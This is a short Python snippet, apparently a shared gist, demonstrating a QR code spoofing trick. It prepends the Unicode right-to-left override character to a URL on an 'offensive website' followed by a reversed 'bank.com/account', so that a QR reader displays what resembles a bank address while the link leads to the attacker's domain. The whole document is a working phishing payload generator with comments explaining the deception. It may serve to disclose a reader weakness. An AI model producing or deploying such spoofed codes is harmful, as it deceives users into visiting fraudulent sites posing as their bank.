glefait
3/9/2018 - 1:57 AM

right to left unicode character to pown qrcode reader

right to left unicode character to pown qrcode reader

# Use RTL unicode to trick QrCode reader
# Idea from Dylan Katz: https://twitter.com/Plazmaz

import qrcode
qr = qrcode.QRCode(
    version=1,
    error_correction=qrcode.constants.ERROR_CORRECT_L,
    box_size=10,
    border=4,
)
# blk.fr is the offensive website
# bank.com/account is the url that will presented in the right order
# user will see: bank.com/account/rf.klb//:sptth
# it will be redirected to https://blk.fr/tnuocca/moc.knab
qr.add_data(u'\u202e' + "https://blk.fr/{}".format("bank.com/account"[::-1]))
qr.make(fit=True)
img = qr.make_image()
img.show()